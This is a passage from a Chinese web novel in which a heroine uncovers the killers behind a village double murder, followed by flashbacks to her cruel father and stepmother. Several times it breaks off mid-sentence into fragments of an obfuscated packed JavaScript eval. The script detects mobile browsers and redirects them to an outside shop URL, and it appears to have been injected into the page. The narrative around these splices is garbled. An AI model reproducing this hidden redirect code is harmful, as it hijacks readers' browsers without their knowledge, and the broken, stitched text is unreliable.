赶到半路,乔天璇见方才离开的沈家家主在前方走着,正想要赶上去,却被二丫抢先。 “沈伯!你骗我,我姐姐昨夜是不是死你家了?”二丫的声音都在颤抖。 沈家家主被身后突如其来的声音吓了一跳,慌忙转头,看到了二丫,也看到了后方的众人。 “灵师,你跟她说的?”沈家家主的目光落在了乔天璇的身上,语气中无处不透着此事已在他的意料之中的意味。 “没错。”乔天璇理直气壮道:“难道这种事情还要瞒着死者的亲人吗?” “也对,我倒是无法反驳。”沈家家主叹了口气。 “她说的是真的?!”二丫转头看了看乔天璇,又转回头死死盯住了沈家家主。 沈家家主被二丫的眼神盯得避无可避,只得淡淡道:“真的。” 霎时间,夫妇二人猛地冲到了沈家家主面前,愤然道:“你得赔命!赔命!快带我们去见丽丫!!!” “好好好,现在就去。”沈家家主脚下的步子加快了不少。 想必沈家家主也不愿发生这样的事情。 不管怎么说,死的都是自己的儿子和儿媳妇。作为一个家主,心中又怎会好受? 几人一路来到了沈家。 进门后,丽丫的父母迫不及待地赶到了他们女儿惨死的那个池塘边上。 在见到池塘底下女儿与女婿的死相时,丽丫的父母当即不由自主地双膝跪在了地上,嚎啕大哭泪流满面。 二丫呆愣在了池塘边上,豆大的泪珠从眼眶中滚落下来。 沈家家主神色阴沉,他也不愿面对这样的场面。 乔天璇凑到了二丫耳旁,暗声道:“看,我没骗你吧?二丫,你就给我说说你姐姐与铁牛哥是青梅竹马,但你姐姐最后却嫁给了沈宝阳的事情吧。说不定我真的就能从其中找到追凶的线索,好让你们有报仇的对象呢?” 二丫不知是被眼前姐姐与姐夫惨死的画面给吓傻了,还是在思索乔天璇所说的话。她站在池塘边呆愣了好一会儿后,终于转头看向了耳旁的乔天璇。 乔天璇见此时二丫的眼眶已然泛红得让人不禁感到害怕。 “我们去角落里说。”二丫声音很低,她颤抖着拉起了乔天璇的手,往院子的角落里走去。 那边的沈家家主在不停地安慰丽丫的父母,许是没有注意到二丫和乔天璇这边的人。 乔天璇惊觉二丫的手冰冷无比,自己的手就仿佛被一只在不断发抖的冰雕握着,冻得简直令人感到胆寒。 二丫带着乔天璇一行人来到了院内的一处角落,压低声音说了乔天璇想要知道的事情。 原来,丽丫家里实在是穷困,可家中病重的奶奶治病急需大量的钱。铁牛虽与丽丫青梅竹马,但铁牛家弟弟妹妹多,平日的花销不小,并不怎么富裕,既出不起给丽丫的奶奶治病的钱,一时半会儿也无法拿得出娶丽丫的聘礼。如此一来,能够尽快凑足钱给奶奶治病就只有一条路了,便是嫁给小泽渔村中最富贵的沈家,把沈家所给的在丽丫家人眼中的天价聘礼拿来用于治疗奶奶的病。 为了奶奶能够尽快康复,丽丫只得故意骗铁牛,骗他说她不喜欢他了,好让他死心,让他不再留恋她。 实际上丽丫心中也不好受,但她不得不这么做,被沈宝阳明媒正娶,风风光光地嫁入沈家。沈家所给的聘礼也全都被用来治疗丽丫病重的奶奶。 “可是这样说来,铁牛哥就又成了嫌疑最大的人了。”乔天璇思索着,一只手托起了自己的下巴。 二丫道:“我也怀疑他。” “那我们要不再去试探一下他?看看能不能探出可以用来证明他是杀人凶手的证据?”乔天璇望向了眼前的众人。 花蕊道:“可是该怎么试探呢?” 祝源道:“是啊,我们已经去过一次铁牛那儿了。再去,肯定会更难试探了。” 乔天璇目光扫到了二丫,脑海中忽然灵光一闪,道:“二丫,要是能够证明你家的那个铁笼子和让你姐姐惨死池塘底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈渊龙跟洛侠虽都是边吃边暗中观察着前堂,但陈渊龙观察的动作十分明显,让人一看就知道他在观察四周。 洛侠则截然不同,他观察四周的动作和眼神让人不易察觉。 只有祝源专心致志地吃包子,一点儿观察的心思都没有。 桌上每人的面前都有一碗玉米青菜粥。 乔天璇捏起勺子搅动了一下自己面前的玉米青菜粥,舀起一大勺送入口中喝下。 玉米青菜粥还很温热,和热腾腾的包子一起吃正好。 花蕊大概是觉得玉米青菜粥有些烫了,她在舀起一勺之后会先往勺子里的粥吹几口气再喝。 几人正吃吃喝喝着,屋外突然传来了凌乱的嘈杂声。 乔天璇侧耳听去,发现其中夹杂着一个略耳熟的声音。 “……宝、宝阳!你好惨啊……我想你了啊……喝酒!喝——” “哪个酒鬼啊?”花蕊也听到了那人醉醺醺的声音。 “去瞧瞧。”乔天璇拿着吃了大半个的包子出了前堂,往声音传来的方向走去。 “我也去!”花蕊赶忙咬着半个包子跟上。 乔天璇实在是觉得那声音耳熟,一路追着声音,竟是绕回到了沈宝阳和丽丫惨死的池塘那处。 眼前的几个家仆正拼命地拉着一个喝得烂醉如泥,神情鬼迷日眼,一只手抱着一坛酒的男子往别的地方去。 乔天璇虽不知那人的名字,但还是一眼就认出了那人。 “是他啊?”花蕊也认出来了。 这男子正是在昨夜宴席上第一个来乔天璇他们那桌敬酒,还询问了乔天璇他们是沈宝阳的朋友还是丽丫的朋友的人。 话说此人这会儿能在两具惨死于池塘底下的池塘边上喝酒喝得迷迷瞪瞪,一点儿也不害怕,眼底似乎还闪着一丝兴奋之意,他该不会…… 乔天璇不禁怀疑道:“他该不会与这杀人事件也有关系吧?” “啊?”花蕊听到乔天璇的怀疑,双眼微微瞪大了些。 乔天璇道:“我只是怀疑而已。” 陈渊龙、洛侠、祝源这会儿也快步赶到了乔天璇和花蕊身旁。 五人齐齐看着池塘边被家仆拼命拉走的醉酒男子,听着醉酒男子嘴里叽里咕噜说不清楚的话,都不免对其有些嫌弃。 祝源忍不住道:“与尸体对饮,这人莫不是脑子有毛病?” “有没有毛病不知道,但他估计也有嫌疑。宁可怀疑错,也不可放过。” 说罢,乔天璇迈步快跑到了那些在拼命拉醉酒男子走的家仆身旁。 10. 小泽渔村(五) 此时,醉酒男子已经被一个壮实的家仆一记手刀打昏了过去,脑袋歪垂向了一边。 “贵客?”其中一个家仆注意到了乔天璇。 乔天璇凑近了说话的家仆,好奇道:“这个醉鬼跟你家二少爷是什么关系啊?怎么一大早的如此有雅兴,跟二少爷和二少奶奶的尸体对饮?” “他……唉……”家仆有些为难。 乔天璇道:“快跟本灵师说说,说不定本灵师可以由此得到关于杀害二少爷和二少奶奶的嫌疑人线索。” 家仆犹豫了一瞬,露出了略微尴尬的苦笑。他动作谨慎地左右张望了一下,小声道:“灵师有所不知,这人是二少爷最狗腿的跟班,被二少爷称为‘阿狗’。阿狗和二少爷的关系好得很,二少爷甚至准许阿狗随意出入自己的院子。只是二少爷不知道,阿狗其实是家主在夫人怀着二少爷的时候跟村里刚死了丈夫的寡妇阿蓝偷情生的,算是二少爷的弟弟。” “那阿狗知道自己的生父是谁吗?”乔天璇故作平静地问着,心中已经被震惊得翻江倒海。 家仆的声音更小了:“知道的,阿狗九岁那会儿就知道这件事了。他娘阿蓝可是一直都在用这件事威胁家主,要求家主每月都给她钱花,不然就把这件事告诉夫人和二少爷。不过好在这娘俩眼里只有钱,只要钱够多就能堵住他们的嘴。” “你们都知道这件事?”乔天璇实在是疑惑家仆怎么会对这种事情这么清楚。 家仆暗声道:“当年家主偷溜去阿蓝家时,我们这些家仆几乎都给家主打过掩护。除了后面新来的家仆,老家仆们都知道这件事。” “原来如此,刺激啊。”乔天璇恍然大悟地点了点头:“你放心,我不会到处乱说这件事的。” 她心中有了底,不再跟拉着阿狗的家仆们继续往前走了。 见乔天璇与家仆的对话结束了,陈渊龙几人连忙赶到了乔天璇身旁。 祝源委屈地对乔天璇道:“阿蕊方才一直挡着我们,说是你在问重要线索,我们不能上前去打扰……唔!” 花蕊一把捂住了祝源的嘴巴,神神秘秘道:“天璇姐姐,我做得对不对?你刚刚有没有问到什么重要线索?” “嗯,你们没有跟上来很好。那个家仆谨慎得很,你们要是跟上来了,或许我还问不出重要线索。”乔天璇“啧啧”两声,抬手指向了前方正在被家仆们架走的阿狗,感叹道:“看来嫌疑人又要多加一人了。” “他?”花蕊不解。 “靠近我来。”乔天璇示意了一下围着自己的四人,眼神意味深长。 四人眼中顿时同时浮现出了不同程度的好奇,当即全都与乔天璇靠得更近。 乔天璇分别看了四人一眼,悄声道:“他是家主的私生子,也就是沈宝阳的弟弟。可沈宝阳并不知道他是自己的弟弟,还把他当自己的狗腿小弟,唤他为‘阿狗’。而阿狗明知自己是沈宝阳的弟弟,却还心甘情愿地当沈宝阳的狗腿小弟。” 听完,四人都愣了一瞬。 洛侠思索道:“看来这个阿狗为了杀沈宝阳,还真是拉得下脸,沉得住气。” 乔天璇道:“没错,我和师父的想法一样。这个阿狗并不是真的心甘情愿当沈宝阳的狗腿小弟的,而是在努力博得沈宝阳的信任,让大家都觉得两人的关系不错,好在寻到时机杀了沈宝阳后不会让人怀疑到他的头上。” 花蕊惊道:“呀,这样说来,那这个阿狗刚刚在池塘边跟他哥哥对饮,其实就是故意在这里当着大家的面做个为哥哥的死而感到难过的假样子,说不定他心里早就因为他哥哥的死而开心得不得了了!” 陈渊龙低沉道:“死了哥哥,作为私生子的他,分到家产的机会就大了。” 乔天璇道:“那个家仆还说阿狗和二少爷关系好得很,二少爷甚至准许阿狗随意出入自己的院子。依我看,昨夜那把火估计就是阿狗放的。” 祝源努力拿开了花蕊捂着自己嘴巴的手,喘气道:“我们要不要把我们的猜想说给沈家家主听?” 想到沈家家主已经一大早带着一大堆人去确认铁牛是否是杀人凶手了,乔天璇心觉还是不要打草惊蛇的好,等沈家家主忙完了铁牛那边的事情再说。 “先不说。”乔天璇对着祝源摆了摆手,又分别看了四人一眼,道:“走,我们先回前堂坐会儿,静观其变。” 四人点了点头,都跟着乔天璇回了前堂,继续吃起了还未吃完的早饭。 也不知在前堂等了多久时间,屋外日头愈发大了,午时将近。 乔天璇正打算打个盹,大门处突然传来沈家家主的一声怒斥:“全村人都已经来作了证!现在就差对比铁器工艺了!铁牛,你在慌张什么?!” 闻声,乔天璇立马来了精神。 是沈家家主带着人回来了! 加上沈家家主方才说的话,那就说明全村人都已经作证了铁牛在丽丫跟铁牛说她不喜欢他了之后到丽丫与沈宝阳大婚的这段时间内,他除了造了丽丫家要用来关鸵鸟的铁笼子之外没再接过任何关于大型铁器的单子! 前堂的几人立马赶了出去,看到沈家家主带着一大群人押着铁牛往池塘的方向走。 这一大群人中除了二丫和二丫的父母,还有小泽渔村中别的村民、来参加婚宴的沈家亲戚、沈家家仆,以及沈家家主不知从哪儿找来的一个鉴定师。 铁牛一人拗不过这么多人,被迫往前迈步走着,铁青着脸,满脸不甘。 乔天璇几人跟到了沈家家主身旁,沈家家主望向了乔天璇,眼中满是佩服:“灵师,还真是被你给说中了,铁牛这小子还真是如你所说啊。” 乔天璇道:“哪里哪里,我也只是猜测而已。” “走!去鉴定铁器工艺!”沈家家主往池塘的方向扬了扬头,带着众人继续前行。 “快走!”押着铁牛的其中一人满脸不耐烦。 铁牛眼神复杂地看了乔天璇一眼,看得乔天璇一瞬间感觉有些不自在。 “什么眼神啊……”乔天璇撇了撇嘴。 “哼。”陈渊龙的冷眸对上了铁牛看乔天璇的眼神,让铁牛莫名感到了一丝凉意,忍不住哆嗦了一下。 众人来到了池塘边,鉴定师走下通往池塘底部的竹梯,仔细端详了一下池塘底下的铁杀器,抬头对沈家家主道:“工艺跟丽丫家的铁笼子出自同一人之手!” 沈家家主当即狠狠踹了被押着的铁牛一脚,怒道:“果然是你!” 铁牛顿时大喊:“就算是我,我也不是主谋!” “还有同伙?!”沈家家主猛地一把拽起了铁牛的衣襟。 铁牛脸色苍白,解释道:“我只是个负责打铁的,主谋是个蒙面人,他说……他是你的私生子!” 此话一出,围在池塘边的众人都怔了片刻。 很快,村民们议论纷纷的声音从无到有,从小到大。 “私生子?” “什么时候的事情?” “跟谁生的啊?” “是跟咱们村里的哪个女人吧?” “哪个男人这么惨,替别人养了这么多年儿子?” “哇塞,私生子跟外人联合杀了正牌二少爷啊!” “够了闭嘴!”沈家家主“啪”一声猛地扇了铁牛一巴掌。 铁牛被这一巴掌扇得头都歪向了一边,整个人都懵了。 “啪!” 又是一记巴掌声,且比刚刚那掌更加响亮。 但这一巴掌并不是扇在铁牛的脸上。 沈家家主的夫人不知从什么地方冲了出来,对着沈家家主的脸狠狠扇了一巴掌。 “混账!你跟哪个女人搞出来的私生子?!”沈家家主的夫人另一只手中提着一把大大的菜刀,她双目血丝涌起,仿佛都要冒出火星子来了。 “夫夫夫夫夫夫……夫人!铁牛肯定是是是、是在乱说!”沈家家主看到了自己夫人手中的菜刀,话都说不利索了。 沈家的老家仆们自然都知道家主的私生子是谁,如果说的话,大家就能知道杀了沈宝阳和丽丫的主谋了,可他们的家主怕是也会被夫人给用菜刀捅死。 “就是私生子!私生子杀死了沈宝阳!你们快去查那个私生子是谁啊!他才主谋啊!”铁牛见到眼前的场面,毫不犹豫地火上浇油。 夫人被铁牛的话激得一刀抵在了沈家家主的脖颈上,大喝道:“说!你的私生子是谁?!” 午时的阳光照在雪白的菜刀上,闪出道道亮白。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025585|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈家家主被抵在自己脖子上闪着亮白光的菜刀吓得惊叫:“啊啊啊啊阿、阿狗阿狗!阿狗啊!!!” “阿狗?宝阳的那个狗腿跟班?”夫人抬头望向了众人,吼道:“阿狗呢?!阿狗!出来受死!” 人群中没有回应。 阿狗刚刚已经被一个壮实的家仆打昏,现在不知被扛到哪里去了,人群中自然不会有阿狗的回应。 “问他们要阿狗!我刚刚看到阿狗在他们那里!”花蕊不知是不是看不下去这场面了,冲着方才拼命拉着醉酒的阿狗离开了此处的那几个家仆的方向指了过去。 闻言,夫人立马提着菜刀健步冲到了花蕊所指的那几个家仆面前,吼道:“阿狗在哪儿?!” 几个家仆被雪亮的菜刀吓得哆嗦不止,顿时招了:“在客房昏着……” 夫人当即飞一般冲向了客房。 “夫人!夫人!” 跟在夫人身后的丫鬟忙不迭地去追夫人。 一时间,池塘边安静得出奇。 “要死了。”乔天璇毫无感情地道了一句。 “咳咳。”沈家家主故作镇定地站直了身子,看向了铁牛,极力平静道:“你是不是除了帮那个人打造了铁器,还跟那个人一起搬运铁器沉到了我家池塘里?” “我……”铁牛战战兢兢地看着沈家家主,最终在沈家家主一把掐住他的脖子时挣扎着承认道:“对……对!” “对?那你就去给我儿和儿媳妇偿命吧!”沈家家主怒气冲天,竟是掐着铁牛的脖子将其一把拖甩进了池塘中。 “砰!” 摔到池塘底下的铁牛就跟沈宝阳和丽丫一样,被铁杀器上锋利的铁刃刺穿了身子。 其中一把铁刃刚好从铁牛的后脑刺穿到了嘴巴,沾满鲜血竖在了铁牛大张着的口中,让铁牛连惨叫声都没能发出来就死不瞑目地归了西。 “啊!嗷啊!!!啊啊啊啊啊——” 私生子那边倒是传来了凄厉的惨叫声。 铁牛死了,没看头了,众人便好奇地跑向了私生子的惨叫声传来的方向。 乔天璇几人自然也跟了过去,想要看看这个杀人主谋究竟会是个什么死法。 待几人赶到客房前时,眼前看到的画面一点儿也不比铁牛的死要惨。 客房门口,阿狗被夫人用菜刀砍得浑身血肉模糊。 他满脸是血,目眦尽裂,双腿都被菜刀给砍断了,起不了身,只能趴在地上痛苦地惨叫着。 村民们纷纷惊讶不已。 “那是……寡妇阿蓝的儿子!” “哦哟,原来是那个寡妇生的啊!” “亏我当年还可怜过她独自一个人怀着亡夫的孩子,独自一人将孩子抚养长大。没想到啊,原来是别人的私生子!” 见到大家都来了,夫人把已经被菜刀砍得身上没有一块好肉的阿狗给几脚从客房门口踢到了院子中。 “今日,我就当着大家的面,把你这个私生狗斩首!” 说罢,夫人提着不断滴着鲜血的菜刀,大步走到了阿狗身旁,猛地一刀砍在了阿狗的脖子上。 霎那间,鲜血飞溅,阿狗的惨叫声也戛然而止。 沈家家主定定地看着脖子上插了一把菜刀,已经气绝身亡了的阿狗,眉头抽搐,神色极其复杂。 众人窃窃私语,依然都在议论着关于私生子的事情。 “死得好!” 二丫突然喊了起来。 紧接着,二丫的父母也悲喜交加地喊道:“杀得好!杀得好啊!给咱大闺女和宝阳报仇了!” 随后,众人的议论声逐渐大了起来,议论的话题多了许多关于沈宝阳和丽丫的事情。 “好血腥,好残忍,好吓人……”祝源既嫌弃又害怕地喃喃着。 “走吧,杀人偿命,终归会是这般。我们也该走了,走之前还得先回海顺家一趟去拿东西。尤其源兄的箱笼,里面有很重要的书吧?”乔天璇看了看身旁的四人,转身离了去。 “哦对!我的箱笼!”祝源连忙跟上了乔天璇。 “嗯,走。”花蕊和洛侠都点了点头。 陈渊龙转身离开前多看了两眼死去的阿狗,暗自低声道:“自作孽,不可活。” 11. 乔府旧事(一) 五人离开小泽渔村行了几日后,乔天璇终于发现周围的景色和房屋逐渐熟悉了起来。 “到淮南了。”陈渊龙看向了乔天璇。 乔天璇自然知道陈渊龙所表达的意思。 此地曾是淮南乔氏的地界,乔天璇的家便是在此。 后来乔家灭门了,一直以来实力屈居于乔家后面的雷氏一族立马趁此机会将淮南变为了他们的地界,让此地易了主。 如今,乔天璇再次踏入这片地界,心中不由得感慨万千。 物是人非,此时的淮南再不是当年的淮南。 可乔天璇在仙落岛上时就已经对陈源龙说了自己的是“洛天璇”,而并非那个曾经的世家之女乔天璇。 她极力表现出相对平淡的表情,就跟之前去到过的任何一个陌生地方一样,只当个对此地并没有什么感情的行客。 “哐哐哐哐哐!” 一阵猛烈的敲锣打鼓声从不远处传来。 紧接着,几个小孩在街道旁兴奋地欢呼奔跑。 “快来看啊!快来看啊!没穿衣服的男人!” “跟雷家大公子斗鸡斗输了的那人被惩罚脱光了衣服在大街上跑呢!” “脱光?”乔天璇心中好奇,转头往一旁热闹的街道上望去。 只见一个赤条条的青年男子正奔跑在街道上。他身材壮硕,梳着一对垂于胸前的粗大麻花辫。大概是由于害羞,他双手捂脸,只能从指缝中间看路,边跑边娇羞地喊道:“哎呀,讨厌死啦,别看我呀!” “噗——” 乔天璇和花蕊不约而同地笑喷。 祝源惊得张大了嘴巴,下巴仿佛都要被惊掉到地上了。 街道两旁围观的人没有一个不笑的,一些人还为那不穿衣服当众奔跑的男子大声喝彩。 “好!好!跑快点!” “兄台当众遛鸟啊!” “什么遛鸟,那是甩鸟吧?” “哈哈哈哈哈……甩起来甩起来!” “真是精彩!妙哉!妙哉哟——” 洛侠用看傻子的眼神看着奔跑的男子,一只手迅速挡在了乔天璇的眼前,不悦道:“下面该捂的地方不捂,竟是如此好脸面?” “师父?”乔天璇愣了愣,稍微挪了一下头的位置,便又看到了那不穿衣服的男子。 赤身男子跑得虽然不算很快,但也并不慢慢吞吞。这会儿他已经捂着羞得通红的脸,顺着街道往远处跑去了。 与此同时,敲锣打鼓的声音也近了来。 两个明显是一主一仆的青年在赤身男子身后以一种目中无人的姿态走着。 听到众人小声的嘀咕声,乔天璇知道了这两个男子其中一个是雷家大公子,而另一个在雷家大公子身旁敲锣打鼓的人正是雷家大公子的贴身小厮。 看来让人敲锣打鼓就是雷家大公子在故意提醒大家看那和他斗鸡斗输了之后被他惩罚赤身跑大街的男子。 见赤身男子跑远了,雷家大公子和他的贴身小厮也跟着走远了,此处围观的众人也继续做起了方才他们本就在做的事。 陈渊龙道:“走吧,再往前,就路过乔家遗址了。” 此话一出,乔天璇心头一热。 但乔天璇清楚陈渊龙这是又在试探自己。 “哦,了解了。走吧。”乔天璇表情十分平淡,平淡到让人根本无法认为她与昔日的乔家有一丝关系。她就像是听到了过会儿会顺路遇到的一处景点,至于那处景点是何模样,她完全不关心。似乎于她而言,那处景点反正也只是顺路看的而已,好不好看都无所谓。 见乔天璇一脸无所谓的样子,陈渊龙眼底闪过一瞬的不安,他忍不住道:“天璇姑娘,你知不知……” “叫我云天,我现在是以三侠行客的身份于此地游历。”乔天璇毫不客气地打断了陈渊龙的问话。 “咦呀……云天,你可是在和太子殿下说话啊……”祝源小心翼翼地小声提醒乔天璇。 “哦。”乔天璇毫无感情道:“殿下,叫我云天就行。” “……” “……云,天。”陈渊龙僵硬地道了一句。 “哎,何事?”乔天璇回应的语气倒是十分自然。 “无事。”陈渊龙许是不打算说他方才想说的话了。 乔天璇本来就对陈渊龙想说的话不感兴趣,此时陈渊龙自己不说了,乔天璇自然也没有向陈渊龙追问的兴趣。 “乔家遗址啊,要是有意思的话就进去瞧瞧吧。”花蕊满脸轻松,神情与在想象等一下要看到的景点的旅人无异。 就如陈渊龙所说,几人行了不多时就来到了乔家遗址外。 眼前破败不堪的大门让乔天璇心中暗暗泛起了一丝酸楚之意。 即便乔天璇对这个家并没有什么特别美好的回忆,但这里到底是她小时候曾经住过一段时间的地方。 往事历历在目,仿佛翻开了一本尘封许久的老旧画册,让昔日热闹富足的乔府与此刻眼前冷清萧瑟的乔家遗址形成了鲜明且强烈的对比。 “好大的府邸啊!”花蕊好奇地跨入了破败不堪的乔府大门,放眼往里望去,不解道:“这么大的府邸,辉煌的时候肯定很热闹很有实力吧?最后怎么就变成现在这个样子了呢?” “是啊,的确有些可惜。”乔天璇跟上了花蕊,步入了破败的乔府中。 当年,乔天璇刚满六岁。她第一次踏入乔府时也是站在现在这个位置,和花蕊一样好奇地往府里到处张望。 也是在那年,太子陈渊龙八岁,皇帝要七大世家各派自家的长子去给太子当伴读。 而在给太子当伴读五年之后,太子会从七大世家的长子中挑选出两人为他的终身伴读,并在宫中任职。 当时偌大的乔家只有一个天生残疾痴傻的少爷,名唤乔天飞。 乔天飞从能睁眼起便右眼瞳往上,左眼瞳往下,吃饭筷子拿不稳,说话口齿不清结结巴巴,成天咿咿呀呀叫,嘻嘻嘻嘻傻笑,走起路来腿脚还有些瘸。 给乔天飞看完病后便被乔家派人杀了的郎中说乔天飞的腿一边长一边短,而且短的那边的腿脚趾末端的脚趾头还少了一个,所以才会走路瘸。 乔家从来不对外透露出一丝关于乔天飞的消息,怕极了外人笑话。 想来乔天飞若不是出生在世家之中,没有世家滔天的势力用于封锁消息,他恐怕早就被人给当成笑话笑死了。 但乔天飞之所以会是如此,那还要归功于乔家家主乔万山是个喜怒无常,狂暴非常的人。 乔万山总是会无缘无故地大吼家仆,吓人一大跳。他的夫人萧芯荷在怀着乔天飞时自然也不禁乔万山这样吓。再加上乔万山时不时就会因为一点小事发火乱摔东西,常常明摆着做错了事也不听劝不道歉,不但搞得自己受了伤,还让身边的所有人都不好受,令怀有身孕的萧芯荷总是处在随时都可能会受到惊吓的状态当中。 萧芯荷作为前朝落魄贵族用来攀附乔家关系的萧家棋子,她只能默默忍受这一切,被乔万山摔东西不还手,被乔万山吓到了就独自一人哆嗦,没有任何抱怨,实在是忍不了了就把自己裹在被子里大吼大叫,然后再用针扎自己的脚底板心,痛得下不了地,在榻上边哭边打滚。 母亲处在这样的环境里,胎儿还能够保得住都算是乔天飞命大了。所以即便乔天飞一生下来就是个残疾废物、痴傻儿,萧芯荷依然很是宠爱乔天飞。哪怕乔天飞一个字都学不会写,还总爱随手打碎杯盏,萧芯荷仍当乔天飞是举世无双的宝物一样宠溺,有什么好玩的好吃的通通都给乔天飞,还称赞乔天飞是大智若愚的下凡仙童。 当然,乔天璇能听说萧芯荷这般称赞乔天飞都是她在来到乔府之后发生的事情了。 乔天璇的母亲并不是任何世家的女子,她的母亲只是一个单纯的山村女子,名唤王小芳。 乔万山能和王小芳结识,完全就是因为王小芳的美貌。 那阵子乔万山还未娶妻。他外出办事去了荆州,在一家山村中的客栈里吃饭时一眼就看上了给他上菜的王小芳。 王小芳当时十六,正是清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔凯旋那会儿正在村口的一棵树上玩弄鸟巢里的雏鸟,玩得正开心,却忽然感觉有人在看自己,便随意地瞥了一眼,见到树下站着一个相貌平平的男人,以及男人身后的一众仆从。 乔万山当即就给她改名为了乔天璇,在回家的马车上对她爱不释手,一个劲地唤她“好闺女”。 途中休整时,乔万山爱惜地牵着乔天璇的小手下了马车去附近热闹的街道走走停停,带乔天璇去见识她从前从未见过的繁华。 街道两旁有许多卖艺的艺人,乔天璇对那些表演耍猴和喷火的艺人尤其感兴趣。她不知这些艺人的精彩表演到底是如何做到的,十分好奇。 若是走到了卖小吃的摊位,只要乔天璇的眼神中表现出了一丝想要吃的念头,乔万山立马就会把吃的买来给她。 此时的乔天璇说到底只有六岁,在乔万山面前根本掩藏不了自己的任何馋念。 当然,乔天璇也不打算掩藏,毕竟她是真的很想吃。离开山村之前她还从来没有吃过这么香的食物,现在一下子就能吃到那么多,她恨不得自己的肚子有牛那么大,尽可能装得下更多的食物。 回到马车上后,乔天璇看着乔万山给她买来放置在马车里供她在回去的路上吃的各种食物,又听到这会儿还未上马车的乔万山在马车外劈头盖脸地骂他的其中一个仆从,心中莫名难受。 她明明看到那个仆从什么事情都没有做错,可是乔万山何为要骂他呢? 还骂得特别难听。 而且……万一有一天乔万山心情不好了,他会不会也会这样无缘无故地骂自己? 乔天璇年纪虽小,但她从小就听母亲与老板娘说乔万山的事情,十分清楚自己当前的处境。 可就算乔天璇明白自己的父亲不是个好人,目前看来也只能认命了。 果然,父亲对自己的爱乔天璇就只在回乔府的马车上体会到了短暂的几日时间。 回到乔府之后,乔万山一见到乔天飞,突然就一个巴掌甩到了跟在他身旁的乔天璇脸上,冷冷道:“这是替你弟弟打的,依我看,你一定是占用了你弟弟的好命格,山村野花!” 乔天璇被打懵了,她这时候还不知道什么是命格,完全不明白自己到底做错了什么就被父亲给打了。 但当她转回头看清楚了眼前这个比她小一岁的弟弟痴傻的样子时,她不由得歪起了一边的嘴角,释怀一笑。 “废物弟弟。” 这是乔天璇对乔天飞说的第一句话。 12. 乔府旧事(二) 后来,乔天璇知道了命格是什么东西,不禁觉得好笑。 她的命就是她的命,何来她占用了别人的命格一说? 说到占用,那该是后母占用了自己生母的位置才对。明明自己比弟弟先一步出生,生母也是父亲的第一个女人,但乔家夫人的位置却不是自己生母的。 不过乔天璇自小活在山野间,没事儿就望着云天发呆,山上能吃的野果子成熟了就去摘来吃,若被小动物抢先一步吃了也无所谓。河里的鱼能捉得到就吃,捉不到也没关系,大不了不吃。她的心境一直如缓缓流淌的溪水那般,不紧不慢,万事都看得很开,并不记恨萧芯荷。 不就是个乔家夫人的位置嘛,也没什么大不了的。 只是萧芯荷可不像乔天璇这般心境。 乔天璇的到来让萧芯荷再也无法溺于自己为自己造的“乔天飞是大智若愚的下凡童仙”这种谎言之中。尤其是当乔天飞和乔天璇同处一个地方时,这两人的对比会更加明显。 对此,萧芯荷很不服气。 都是女人,都是给同一个男人生孩子,凭什么乔天璇的母亲可以生出这么好看机灵的孩子,自己生的却是个废物痴傻儿? 但萧芯荷自然清楚乔天璇不久之后就会代替乔天飞去东宫给太子伴读,杀了乔天璇是万万不可的事情。不过折磨乔天璇的话,萧芯荷倒是有不少坏点子。 乔天璇初来乔府,有很多规矩不懂,萧芯荷便由此下手。 淮南乔氏有一个规矩,凡有亲人来访,主人为表欢迎,可为亲人做一碗红豆粥。若是亲人把碗中的红豆粥喝得见了底,那就表示很喜欢来乔家做客,并且要在此地住上一段时间。若是碗里剩了一点粥,那仍是表示喜欢来乔家做客,但只留宿一日。若只是喝了一口或几口,那就表示只是来看看而已,不会多作逗留。但若是一口都不喝,那就等于是来找茬儿的了。 显然,乔万山只是把乔天璇当一枚棋子而已,一回到乔家还重重扇了乔天璇一巴掌,完全不顾乔天璇的心情。关于红豆粥的事情,乔万山自然也没有告诉乔天璇。 夜里,萧芯荷在明知乔天璇晚饭已经吃撑了的情况下,假借自己作为乔天璇的后母,想要给乔天璇一个好印象的理由,实际上就是想给乔天璇来个下马威,她亲手在厨房中给乔天璇做了一碗红豆粥,并让自己的贴身丫鬟端着,两人一同来到了乔天璇的住处。 从山村到世家府邸,乔天璇第一次拥有如此华丽的房间,心中久久不能平静。 这是乔天璇在乔府住下的第一晚。 屋内的烛灯很明亮,比山村中所有人家的任何一盏烛灯都要亮。 乔天璇垂腿坐在挂着粉色纱幔和珠帘的榻上,对着房内的一切发呆。 门外突然传来敲门声,乔天璇对一直候在一旁的丫鬟春桃道:“这么晚了,会是谁来?” 春桃道:“不知。” 乔天璇道:“会是乔天飞吗?” 春桃道:“也许?” 乔天璇下了榻,快步来到门前,给敲门的人开了门,却见来者并不是乔天飞,而是后母萧芯荷和她的贴身丫鬟。 萧芯荷笑容和蔼道:“天璇,你与老爷舟车劳顿了好几日才回到乔府,一定累坏了吧?来,喝碗红豆粥吧。” 乔家给乔天璇接风的晚饭特别丰盛,现在的乔天璇肚子简直撑得发慌。这也是乔天璇垂腿坐在榻上发呆的原因之一,她实在是撑得连站都不想站。 “不了,多谢后母好意,我真的一口都喝不下了。”乔天璇语气恭敬地回应。 在此刻的乔天璇看来,这个后母萧芯荷对自己好像还挺好的,居然亲自来给自己送宵夜粥,只可惜自己已经喝不下了。 “听到了吗?老爷?她不喝,一口都不喝!”萧芯荷的语气态度忽地急转,甩头一般转头看向了一旁。 